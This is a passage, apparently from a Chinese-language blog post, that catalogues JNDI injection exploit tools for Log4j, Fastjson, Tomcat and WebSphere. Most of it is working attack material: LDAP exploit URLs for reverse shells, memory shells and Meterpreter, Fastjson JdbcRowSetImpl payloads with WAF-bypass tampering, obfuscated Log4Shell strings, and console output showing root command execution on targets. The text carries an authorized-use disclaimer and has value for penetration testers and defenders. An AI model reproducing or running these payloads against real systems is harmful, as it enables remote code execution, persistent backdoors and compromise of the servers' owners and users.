ldap://0.0.0.0:1389/TomcatBypass/Command/[cmd]
ldap://0.0.0.0:1389/TomcatBypass/Command/Base64/[base64_encoded_cmd]
ldap://0.0.0.0:1389/TomcatBypass/ReverseShell/[ip]/[port] ---windows NOT supported
ldap://0.0.0.0:1389/TomcatBypass/TomcatEcho
ldap://0.0.0.0:1389/TomcatBypass/SpringEcho
ldap://0.0.0.0:1389/TomcatBypass/TomcatMemshell1
ldap://0.0.0.0:1389/TomcatBypass/TomcatMemshell2 ---need extra header [shell: true]
ldap://0.0.0.0:1389/TomcatBypass/TomcatMemshell3 /ateam pass1024
ldap://0.0.0.0:1389/TomcatBypass/GodzillaMemshell /bteam.ico pass1024
ldap://0.0.0.0:1389/TomcatBypass/SpringMemshell
ldap://0.0.0.0:1389/TomcatBypass/Meterpreter/[ip]/[port] ---java/meterpreter/reverse_tcp

[+] GroovyBypass Queries
ldap://0.0.0.0:1389/GroovyBypass/Command/[cmd]
ldap://0.0.0.0:1389/GroovyBypass/Command/Base64/[base64_encoded_cmd]

[+] WebsphereBypass Queries
ldap://0.0.0.0:1389/WebsphereBypass/List/file=[file or directory]
ldap://0.0.0.0:1389/WebsphereBypass/Upload/Dnslog/[domain]
ldap://0.0.0.0:1389/WebsphereBypass/Upload/Command/[cmd]
ldap://0.0.0.0:1389/WebsphereBypass/Upload/Command/Base64/[base64_encoded_cmd]
ldap://0.0.0.0:1389/WebsphereBypass/Upload/ReverseShell/[ip]/[port] ---windows NOT supported
ldap://0.0.0.0:1389/WebsphereBypass/Upload/WebsphereMemshell
ldap://0.0.0.0:1389/WebsphereBypass/RCE/path=[uploaded_jar_path] ----e.g: ../../../../../tmp/jar_cache7808167489549525095.tmp

header加上cmd传入命令即可

在这里插入图片描述

  • -h是vps的http监听地址,-l是vps的ldap监听地址

jndi_tool

特点:有绕过模块

项目地址:https://github.com/wyzxxz/jndi_tool

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
声明: 此工具仅用于企业安全人员自查验证自身企业资产的安全风险,或有合法授权的安全测试,请勿用于其他用途,如有,后果自负。

download_url : https://toolaffix.oss-cn-beijing.aliyuncs.com/jndi_tool.jar


> java -jar jndi_tool.jar
Usage:
jndi_http:
java -cp jndi_tool.jar jndi.HRMIServer 127.0.0.1 80 "curl dnslog.wyzxxz.cn"
java -cp jndi_tool.jar jndi.HLDAPServer 127.0.0.1 80 "curl dnslog.wyzxxz.cn"

rmi_high_jdk:
java -cp jndi_tool.jar jndi.EvilRMIServer 8888 1099 "curl dnslog.wyzxxz.cn" el-win/el-linux/groovy

ldap_normal:
java -cp jndi_tool.jar jndi.LDAPRefServer 1099 host=127.0.0.1

ldap_auto:
java -cp jndi_tool.jar jndi.LDAPRefServerAuto 127.0.0.1 1099 80 file=filename (param_format: __JNDI__)

fastjson:
java -cp jndi_tool.jar jndi.fastjson.LDAPRefServerAuto 127.0.0.1 1099 file=filename tamper=tohex chunk=on
java -cp jndi_tool.jar jndi.fastjson.BCELEncode "curl dnslog.wyzxxz.cn"
java -cp jndi_tool.jar jndi.fastjson.Tamper "{\"abc\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1099/Object\",\"autoCommit\":true}}"

log4j:
java -cp jndi_tool.jar jndi.log4j.HLDAPLog4j 127.0.0.1 80 "whoami" http://target w=tomcat/groory/http default:http
java -cp jndi_tool.jar jndi.log4j.Tamper "${jndi:ldap://127.0.0.1/a}" all=true random=true
java -cp jndi_tool.jar jndi.log4j.Log4j 127.0.0.1 80 url=http://xx.xx or urls=1.txt thread=10 log4j检测,建议用 0 或者 4 的payload ,相对通用一些



新增的 jndi.LDAPRefServerAuto 示例
> cat request1.txt
GET /${jndi:__JNDI__} HTTP/1.1
Host: xx.xx.xx.xx
Accept: \${jndi:__JNDI__}

> java -cp jndi_tool.jar jndi.LDAPRefServerAuto xx.xx.xx.xx 1099 80 file=request1.txt

or

> java -cp jndi_tool.jar jndi.LDAPRefServerAuto xx.xx.xx.xx 1099 80 url="http://xx.xx.xx/\${jndi:__JNDI__}" headers="Accept: \${jndi:__JNDI__}"
[-] url: http://xx.xx.xx/${jndi:__JNDI__}
[-] process headers: {Accept=${jndi:__JNDI__}}
[-] use: ldap://xx.xx.xx:1099/JNDIObject
[-] url: http://xx.xx.xx/${jndi:ldap://xx.xx.xx:1099/JNDIObject}
[-] LDAP Listening on xx.xx.xx:1099
[-] get request delay time, waiting...
[-] use waiting time: 1000
[-] checking CommonsBeanutils2
[-] checking CommonsCollections8
[-] checking CommonsCollections10
[-] checking CommonsCollectionsK1
[-] checking CommonsCollectionsK2
[-] checking CommonsCollectionsK3
[-] checking CommonsCollectionsK4
[-] checking CommonsBeanutils1
[*] find: CommonsBeanutils1 can be use
[-] checking CommonsCollections1
[-] checking CommonsCollections2
[-] checking CommonsCollections3
[-] checking CommonsCollections5
[-] checking CommonsCollections6
[-] checking CommonsCollections7
[-] checking CommonsCollections9
[-] checking Groovy1
[-] checking JSON1
[*] find: JSON1 can be use
[-] checking Jdk7u21
[-] checking Spring1
[-] checking Spring2
[-] checking el
waiting ...
retrying ...
[*] find: el can be use
0. CommonsBeanutils1
1. JSON1
2. el
[-] please choose gadget, enter q or quit to quit,
> 0
* example: curl x.xx , bash=curl `whoami`.x.xx
[-] please enter command, enter q or quit to quit,
> curl x.dnslog
[-] please enter command, enter q or quit to quit,
> back
0. CommonsBeanutils1
1. JSON1
2. el
[-] please choose gadget, enter q or quit to quit,
> 2
* example: curl x.xx , bash=curl `whoami`.x.xx
[-] please enter command, enter q or quit to quit,
> curl x.dnslog
[-] please enter command, enter q or quit to quit,
> q


===================================================================================================

[root@ /]# java -cp jndi_tool.jar jndi.HRMIServer xx.xx.xx.xx 80 "curl dnslog.wyzxxz.cn"
[-] Opening JRMP listener on 80
[-] Have connection from /xx.xx.xx.xx:33543
[-] Reading message...
[-] Is RMI.lookup call for Exploit 2
[-] Sending remote classloading stub targeting http://xx.xx.xx.xx:80/Object.class
[-] Closing connection
[*] Have connection from /xx.xx.xx.xx:33544 /Object.class
[-] remote target jdk version: java/1.7.0_79, use payload version: jdk7
[-] send payload done and exit.



[root@ /]# java -cp jndi_tool.jar jndi.HLDAPServer xx.xx.xx.xx 80 "curl dnslog.wyzxxz.cn"
[-] LDAP Listening on 0.0.0.0:80
[*] Send LDAP reference result for Exploit redirecting to http://xx.xx.xx.xx:80/Object.class
[*] Have connection from /xx.xx.xx.xx:33548 /Object.class
[-] remote target jdk version: java/1.7.0_79, use payload version: jdk7
[-] remote target jdk version: java/1.7.0_79, use payload version: jdk7
[-] send payload done and exit.

===================================================================================================

rmi:
1. 启动RMI服务,后面写要执行的语句
java -cp jndi_tool.jar jndi.EvilRMIServer 1099 8888 "curl dnslog.wyzxxz.cn"

2. 发送请求包
POST /test HTTP/1.1
Host: 127.0.0.1
Content-Type: application/json
Accept-Encoding: gzip, deflate
Connection: close
Accept: */*
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 12_3_1 like Mac OS X)

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/Object","autoCommit":true}

3. 查看日志是否curl成功

===================================================================================================

ldap:
1. 启动LDAP服务,后面写要执行的语句
java -cp jndi_tool.jar jndi.HLDAPServer xx.xx.xx.xx 80 "curl dnslog.wyzxxz.cn"

2. 发送请求包
POST /test HTTP/1.1
Host: 127.0.0.1
Content-Type: application/json
Accept-Encoding: gzip, deflate
Connection: close
Accept: */*
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 12_3_1 like Mac OS X)

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://xx.xx.xx.xx:80/Object","autoCommit":true}


3. 查看日志是否执行成功


===================================================================================================

ldap:
1. 启动LDAP服务,后面写要执行的语句
> java -cp jndi_tool.jar jndi.LDAPRefServer 1099 host="0.0.0.0"
[-] Payloads: CommonsBeanutils1-2,CommonsCollections1-10,CommonsCollectionsK1-4,Groovy1,Clojure,JSON1,Spring1-2,URLDNS,file,tomcat,groovy
[-] etc: ldap://0.0.0.0:1099/CommonsBeanutils1/curl x.cn
[-] etc: ldap://0.0.0.0:1099/CommonsCollections1/bash=ping x.cn # bash=后面的命令会自动进行base64编码,支持base=,python=,powershell=,perl=
[-] etc: ldap://0.0.0.0:1099/URLDNS/x.cn
[-] etc: ldap://0.0.0.0:1099/file/base64data_filename
[-] etc: ldap://0.0.0.0:1099/el/whomai
[-] etc: ldap://0.0.0.0:1099/groovy/whomai
[-] etc: ldap://0.0.0.0:1099/mlet/http://xx.xx
[-] etc: ldap://0.0.0.0:1099/groovyload/http://xx.xx
[-] etc: ldap://0.0.0.0:1099/snakeyaml/http://xx.xx/x.jar
[-] etc: ldap://0.0.0.0:1099/xstream/curl x.dns
[-] etc: ldap://0.0.0.0:1099/mvel/whoami
[-] etc: ldap://0.0.0.0:1099/loadlib//tmp/nativeLib_name
[-] etc: ldap://0.0.0.0:1099/tomcatxxe/http://xx.xx/xxe.xml

jdbc:
[-] etc: ldap://0.0.0.0:1099/tomcatdbcp/whoami
[-] etc: ldap://0.0.0.0:1099/tomcatdbcp2/whoami
[-] etc: ldap://0.0.0.0:1099/commondbcp/whoami
[-] etc: ldap://0.0.0.0:1099/commondbcp2/whoami
[-] etc: ldap://0.0.0.0:1099/tomcatjdbc/whoami
[-] etc: ldap://0.0.0.0:1099/druidjdbc/whoami

2. 发送请求包
POST /test HTTP/1.1
Host: 127.0.0.1
Content-Type: application/json
Accept-Encoding: gzip, deflate
Connection: close
Accept: */*
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 12_3_1 like Mac OS X)

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://xx.xx.xx.xx:1099/CommonsCollections1/curl x.com","autoCommit":true}


3. 查看日志是否执行成功



===================================================================================================

fastjson:

> java -cp jndi_tool.jar jndi.fastjson.LDAPRefServerAuto 127.0.0.1 1099 file=filename

filename为请求包,需要插入fastjson攻击语句的地方,用__PAYLOAD__代替。示例:
POST /fastjson_demo HTTP/1.1
Host: xx.xx.xx.xx
Connection: keep-alive
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.16 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Content-Type: application/json
Content-Length: 165

__PAYLOAD__


> java -cp jndi_tool.jar jndi.fastjson.LDAPRefServerAuto 127.0.0.1 8088 file=req chunk=on
[-] Chunked coding ON
[-] target: https://xx.xx.xx.xx/fastjson_demo
[-] Payload list:
0. {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:8088/Object","autoCommit":true}
1. {"e":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"f":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:8088/Object","autoCommit":true}}
[-] [-] please chosse payload, or input payload like payload={......} chunk=on / chunk=off
> 1
[-] url: https://xx.xx.xx.xx/fastjson_demo
[-] post_data: {"e":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"f":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:8088/Object","autoCommit":true}}
[-] LDAP Listening on 127.0.0.1:8088
[-] checking CommonsBeanutils1
[*] find: CommonsBeanutils1 can be use
[*] CHECK ECHO.
[-] ECHO FIND.
[-] please enter command, enter q or quit to quit, tomcatshell or springshell get memshell, chunk=on / chunk=off
> id
uid=0(root) gid=0(root) groups=0(root)

[-] please enter command, enter q or quit to quit, tomcatshell or springshell get memshell, chunk=on / chunk=off
> q
[-] quit


> fastjson.Tamper : fastjson的一些特性,可以绕一些WAF
[-] tamper list:
tohex
tounicode
tohexunicode
tourlencode
randomhex
randomunicode
addis
addcomment
addmorecomment
addcommas
addrandomx
add-
add_
addsize 填充内容

tamper支持多个,但有些不能一起用,多个注意使用的先后顺序,例如 tohex,addcomment



===================================================================================================

log4j

> java -cp jndi_tool.jar jndi.log4j.Log4j vps_ip 8099 url=http://xx.xx.xx
[-] LDAP Listening on 0.0.0.0:80
0. ${jndi:ldap://********/xobject}
1. ${jndi:ldap://127.0.0.1#********/xobject}
2. ${${upper:j}${upper:n}${upper:d}${upper:i}:${upper:l}${upper:d}${upper:a}${upper:p}://********/xobject}
3. ${${lower:j}${lower:n}${lower:d}${lower:i}:${lower:l}${lower:d}${lower:a}${lower:p}://********/xobject}
4. ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://********/xobject}
5. ${${spH::-j}${Gdt:zhN:-n}${YCJe::-d}${t:bbru:-i}:${irS:LbN:-l}${m:vjW:-d}${UFd:VVf:-a}${W::-p}://********/xobject}
6. ${${bQjc::cQT:-j}${fQLP:NAJR:-n}${Ko:c:G:lbhy:-d}${:GXH::Sd:-i}:${MEU:TXgc:VRc:-l}${A:eMJA:qA:kNXt:-d}${:W::-a}${JbuH:Pbq:IDW:-p}://********/xobject}
7. ${${lower:${lower:${lower:j}}}${lower:${lower:n}}${lower:d}${lower:i}:${lower:${lower:l}}${lower:${lower:${lower:d}}}${lower:${lower:${lower:${lower:${lower:a}}}}}${lower:${lower:p}}://********/xobject}
8. ${${upper:${upper:j}}${upper:${upper:${upper:n}}}${upper:${upper:${upper:${upper:${upper:d}}}}}${upper:${upper:i}}:${upper:${upper:${upper:l}}}${upper:d}${upper:${upper:${upper:a}}}${upper:${upper:${upper:${upper:p}}}}://********/xobject}
9. ${${upper:${upper:${lower:j}}}${upper:${lower:n}}${lower:${upper:${lower:d}}}${upper:${lower:i}}:${upper:l}${upper:${upper:d}}${lower:${upper:a}}${upper:${lower:${lower:p}}}://********/xobject}
[-] please chosse payload, or input payload like payload=${......}
> 4
[-] payload: ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://****/xobject}
> threads: 1
> url count: 1
[-] start exploit. waiting...
>> target is vul: http://xx.xx.xx
[-] waiting exit...
[-] exit.


> java -cp jndi_tool.jar jndi.log4j.Log4j vps_ip 8099 urls=1.txt
[-] LDAP Listening on 0.0.0.0:80
0. ${jndi:ldap://********/xobject}
1. ${jndi:ldap://127.0.0.1#********/xobject}
2. ${${upper:j}${upper:n}${upper:d}${upper:i}:${upper:l}${upper:d}${upper:a}${upper:p}://********/xobject}
3. ${${lower:j}${lower:n}${lower:d}${lower:i}:${lower:l}${lower:d}${lower:a}${lower:p}://********/xobject}
4. ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://********/xobject}
5. ${${spH::-j}${Gdt:zhN:-n}${YCJe::-d}${t:bbru:-i}:${irS:LbN:-l}${m:vjW:-d}${UFd:VVf:-a}${W::-p}://********/xobject}
6. ${${bQjc::cQT:-j}${fQLP:NAJR:-n}${Ko:c:G:lbhy:-d}${:GXH::Sd:-i}:${MEU:TXgc:VRc:-l}${A:eMJA:qA:kNXt:-d}${:W::-a}${JbuH:Pbq:IDW:-p}://********/xobject}
7. ${${lower:${lower:${lower:j}}}${lower:${lower:n}}${lower:d}${lower:i}:${lower:${lower:l}}${lower:${lower:${lower:d}}}${lower:${lower:${lower:${lower:${lower:a}}}}}${lower:${lower:p}}://********/xobject}
8. ${${upper:${upper:j}}${upper:${upper:${upper:n}}}${upper:${upper:${upper:${upper:${upper:d}}}}}${upper:${upper:i}}:${upper:${upper:${upper:l}}}${upper:d}${upper:${upper:${upper:a}}}${upper:${upper:${upper:${upper:p}}}}://********/xobject}
9. ${${upper:${upper:${lower:j}}}${upper:${lower:n}}${lower:${upper:${lower:d}}}${upper:${lower:i}}:${upper:l}${upper:${upper:d}}${lower:${upper:a}}${upper:${lower:${lower:p}}}://********/xobject}
[-] please chosse payload, or input payload like payload=${......}
> 4
[-] payload: ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://********/xobject}
> threads: 2
> url count: 2
[-] start exploit. waiting...
>> target is vul: http://xx.xx.xx
>> target is vul: http://xx.xx.xx
[-] waiting exit...
[-] exit.



> java -cp jndi_tool.jar jndi.log4j.HLDAPLog4j xx.xx.xx.xx 8088 "whoami" http://xx.xx.xx:8080/
[-] LDAP Listening on 0.0.0.0:8088
0. ${jndi:ldap://127.0.0.1:8088/xobject}
1. ${jndi:ldap://127.0.0.1#127.0.0.1:8088/xobject}
2. ${${upper:j}${upper:n}${upper:d}${upper:i}:${upper:l}${upper:d}${upper:a}${upper:p}://127.0.0.1:8088/xobject}
3. ${${lower:j}${lower:n}${lower:d}${lower:i}:${lower:l}${lower:d}${lower:a}${lower:p}://127.0.0.1:8088/xobject}
4. ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://127.0.0.1:8088/xobject}
5. ${${kXqh:pJ:-j}${FAvg:PfJU:-n}${DMCK:qO:-d}${::-i}:${z:Aq:-l}${:XT:-d}${cFEq::-a}${DfP:dpH:-p}://127.0.0.1:8088/xobject}
6. ${${RkL:kdx:x:Ta:vT:zMy:-j}${:CFf:yI:-n}${:CR:LqeF::-d}${EY:LgWR:Y:lao:-i}:${Y:D:-l}${HSh:lK:C:-d}${UIyH:ppxT:-a}${cNi:gxB:z:-p}://127.0.0.1:8088/xobject}
7. ${${lower:${lower:j}}${lower:${lower:${lower:n}}}${lower:${lower:d}}${lower:${lower:i}}:${lower:l}${lower:${lower:${lower:${lower:d}}}}${lower:${lower:${lower:a}}}${lower:${lower:p}}://127.0.0.1:8088/xobject}
8. ${${upper:${upper:j}}${upper:${upper:${upper:n}}}${upper:${upper:${upper:${upper:d}}}}${upper:${upper:i}}:${upper:${upper:l}}${upper:d}${upper:${upper:${upper:a}}}${upper:${upper:${upper:p}}}://127.0.0.1:8088/xobject}
9. ${${upper:${upper:${upper:j}}}${upper:n}${lower:${upper:${lower:${lower:d}}}}${upper:${lower:${lower:i}}}:${upper:${lower:l}}${upper:${lower:d}}${lower:a}${lower:${upper:${lower:p}}}://127.0.0.1:8088/xobject}
[-] please chosse payload, or input payload like payload=${......}
> 0
[-] payload: ${jndi:ldap://127.0.0.1:8088/xobject}
[-] start exploit. waiting...
[-] remote target jdk version: java/1.8.0_131, use payload version: jdk8
[-] send payload done
[-] waiting result...
result:
root


> java -cp jndi_tool.jar jndi.log4j.HLDAPLog4j xx.xx.xx.xx 8088 "whoami" http://xx.xx.xx:8080/ w=tomcat // 高版本jdk的绕过,依赖el
[-] LDAP Listening on 0.0.0.0:8088
0. ${jndi:ldap://127.0.0.1:8088/xobject}
1. ${jndi:ldap://127.0.0.1#127.0.0.1:8088/xobject}
2. ${${upper:j}${upper:n}${upper:d}${upper:i}:${upper:l}${upper:d}${upper:a}${upper:p}://127.0.0.1:8088/xobject}
3. ${${lower:j}${lower:n}${lower:d}${lower:i}:${lower:l}${lower:d}${lower:a}${lower:p}://127.0.0.1:8088/xobject}
4. ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://127.0.0.1:8088/xobject}
5. ${${kXqh:pJ:-j}${FAvg:PfJU:-n}${DMCK:qO:-d}${::-i}:${z:Aq:-l}${:XT:-d}${cFEq::-a}${DfP:dpH:-p}://127.0.0.1:8088/xobject}
6. ${${RkL:kdx:x:Ta:vT:zMy:-j}${:CFf:yI:-n}${:CR:LqeF::-d}${EY:LgWR:Y:lao:-i}:${Y:D:-l}${HSh:lK:C:-d}${UIyH:ppxT:-a}${cNi:gxB:z:-p}://127.0.0.1:8088/xobject}
7. ${${lower:${lower:j}}${lower:${lower:${lower:n}}}${lower:${lower:d}}${lower:${lower:i}}:${lower:l}${lower:${lower:${lower:${lower:d}}}}${lower:${lower:${lower:a}}}${lower:${lower:p}}://127.0.0.1:8088/xobject}
8. ${${upper:${upper:j}}${upper:${upper:${upper:n}}}${upper:${upper:${upper:${upper:d}}}}${upper:${upper:i}}:${upper:${upper:l}}${upper:d}${upper:${upper:${upper:a}}}${upper:${upper:${upper:p}}}://127.0.0.1:8088/xobject}
9. ${${upper:${upper:${upper:j}}}${upper:n}${lower:${upper:${lower:${lower:d}}}}${upper:${lower:${lower:i}}}:${upper:${lower:l}}${upper:${lower:d}}${lower:a}${lower:${upper:${lower:p}}}://127.0.0.1:8088/xobject}
[-] please chosse payload, or input payload like payload=${......}
> 0
[-] payload: ${jndi:ldap://127.0.0.1:8088/xobject}
[-] start exploit. waiting...
[-] input class: tomcat, command: curl xx.xx.xx
[*] Send data...
[-] exit.



> java -cp jndi_tool.jar jndi.log4j.Tamper "\${jndi:ldap://127.0.0.1/a}" random=true
[-] process all string is: False
[-] random process string is: True
--------------------------------------------------
${jndi:ldap://127.0.0.1/a}
${j${upper:n}d${upper:i}:l${upper:d}${upper:a}p://127.0.0.1/a}
${j${upper:n}d${upper:${upper:i}}:l${upper:d}${upper:a}p://127.0.0.1/a}
${j${lower:n}d${lower:i}:l${lower:d}${lower:a}p://127.0.0.1/a}
${j${::-n}d${::-i}:l${::-d}${::-a}p://127.0.0.1/a}
${j${Omhc:qBz:-n}d${b:Hz:-i}:l${vX::-d}${puF:A:-a}p://127.0.0.1/a}
${j${Ez:mk:cHK:Xwn::-n}d${TXjk:LN:vBjQ::-i}:l${Nz:Of:bfDt:AgIH:-d}${TDN:SchK:uWu::-a}p://127.0.0.1/a}
${j${lower:${lower:n}}d${lower:${lower:${lower:${lower:i}}}}:l${lower:${lower:${lower:d}}}${lower:${lower:${lower:${lower:a}}}}p://127.0.0.1/a}
${j${upper:${upper:${upper:n}}}d${upper:${upper:${upper:${upper:i}}}}:l${upper:${upper:d}}${upper:${upper:a}}p://127.0.0.1/a}
${j${lower:${lower:${lower:${lower:n}}}}d${upper:${lower:${upper:i}}}:l${lower:d}${upper:${upper:${lower:a}}}p://127.0.0.1/a}





* JNDI在高版本的JDK下的利用,综合了 (乌云最帅 没有之一)浅蓝 老板的姿势,很赞*

fastjson_rec_exploit

项目地址:

https://github.com/mrknow001/fastjson_rec_exploit

优点:对fastjson有绕过模块

使用说明:

fastjson一键命令执行

脚本使用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
usage: Fastjson one-key command is executed! [-h] [-u URL] [-s SELF] [-c COMMAMD]

python3 fastjson.py -u [Target Url] -s [self IP] -c [command]

optional arguments:

-h, --help show this help message and exit

-u URL, --url URL 漏洞url

-s SELF, --self SELF 自己IP,如果是VPS请输入公网IP

-c COMMAMD, --commamd COMMAMD 执行的命令,有空格请加上双引号

-m [MODE], --mode [MODE] 选择执行模式(可选),1:ldap模式(默认);2:rmi模式

python3 fastjson.py -u http://192.168.1.3/ -s 192.168.1.1 -c "touch /tmp/test.txt

使用截图:

image

image

批量检测链接放target.txt中。 usage:python3 fastjson_check.py

image

FastjsonExploit

项目地址:

https://github.com/c0ny1/FastjsonExploit

优点:

FastjsonExploit是一个Fastjson漏洞快速漏洞利用框架,主要功能如下:

  1. 一键生成利用payload,并启动所有利用环境。
  2. 管理Fastjson各种payload(当然是立志整理所有啦,目前6个类,共11种利用及绕过)

使用说明:

建造环境

Requires Java 1.7+ and Maven 3.x+

1
mvn clean package -DskipTests

使用方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33

.---- -. -. . . .
( .',----- - - ' '
\_/ ;--:-\ __--------------------__
__U__n_^_''__[. |ooo___ | |_!_||_!_||_!_||_!_| |
c(_ ..(_ ..(_ ..( /,,,,,,] | |___||___||___||___| |
,_\___________'_|,L______],|______________________|
/;_(@)(@)==(@)(@) (o)(o) (o)^(o)--(o)^(o)

FastjsonExploit is a Fastjson library vulnerability exploit framework
Author:c0ny1<root@gv7.me>


Usage: java -jar Fastjson-[version]-all.jar [payload] [option] [command]
Exp01: java -jar FastjsonExploit-[version].jar JdbcRowSetImpl1 rmi://127.0.0.1:1099/Exploit "cmd:calc"
Exp02: java -jar FastjsonExploit-[version].jar JdbcRowSetImpl1 ldap://127.0.0.1:1232/Exploit "code:custom_code.java"
Exp03: java -jar FastjsonExploit-[version].jar TemplatesImpl1 "cmd:calc"
Exp04: java -jar FastjsonExploit-[version].jar TemplatesImpl1 "code:custom_code.java"

Available payload types:
Payload PayloadType VulVersion Dependencies
------- ----------- ---------- ------------
BasicDataSource1 local 1.2.2.1-1.2.2.4 tomcat-dbcp:7.x, tomcat-dbcp:9.x, commons-dbcp:1.4
BasicDataSource2 local 1.2.2.1-1.2.2.4 tomcat-dbcp:7.x, tomcat-dbcp:9.x, commons-dbcp:1.4
JdbcRowSetImpl1 jndi 1.2.2.1-1.2.2.4
JdbcRowSetImpl2 jndi 1.2.2.1-1.2.4.1 Fastjson 1.2.41 bypass
JdbcRowSetImpl3 jndi 1.2.2.1-1.2.4.3 Fastjson 1.2.43 bypass
JdbcRowSetImpl4 jndi 1.2.2.1-1.2.4.2 Fastjson 1.2.42 bypass
JdbcRowSetImpl5 jndi 1.2.2.1-1.2.4.7 Fastjson 1.2.47 bypass
JndiDataSourceFactory1 jndi 1.2.2.1-1.2.2.4 ibatis-core:3.0
SimpleJndiBeanFactory1 jndi 1.2.2.2-1.2.2.4 spring-context:4.3.7.RELEASE
TemplatesImpl1 local 1.2.2.1-1.2.2.4 xalan:2.7.2(need Feature.SupportNonPublicField)
TemplatesImpl2 local 1.2.2.1-1.2.2.4 xalan:2.7.2(need Feature.SupportNonPublicField)
CATALOG
  1. 1. JNDI介绍
    1. 1.1. JNDI目录服务
    2. 1.2. JNDI-DNS解析
    3. 1.3. JNDI-RMI远程方法调用
    4. 1.4. JNDI-LDAP
    5. 1.5. JNDI-DataSource
    6. 1.6. JNDI-协议转换
    7. 1.7. JNDI-Reference
      1. 1.7.1. RMI/LDAP远程对象引用安全限制
      2. 1.7.2. 使用创建恶意的ObjectFactory对象
      3. 1.7.3. 创建恶意的RMI服务
      4. 1.7.4. 创建恶意的LDAP服务
    8. 1.8. JNDI注入漏洞利用
    9. 1.9. FastJson 反序列化JNDI注入示例
  2. 2. JDNI注入工具
    1. 2.1. jndi-injection-exploit
    2. 2.2. JNDI
      1. 2.2.1. 介绍
      2. 2.2.2. 功能
      3. 2.2.3. 使用
    3. 2.3. JNDIExploit
    4. 2.4. jndi_tool
    5. 2.5. fastjson_rec_exploit
    6. 2.6. FastjsonExploit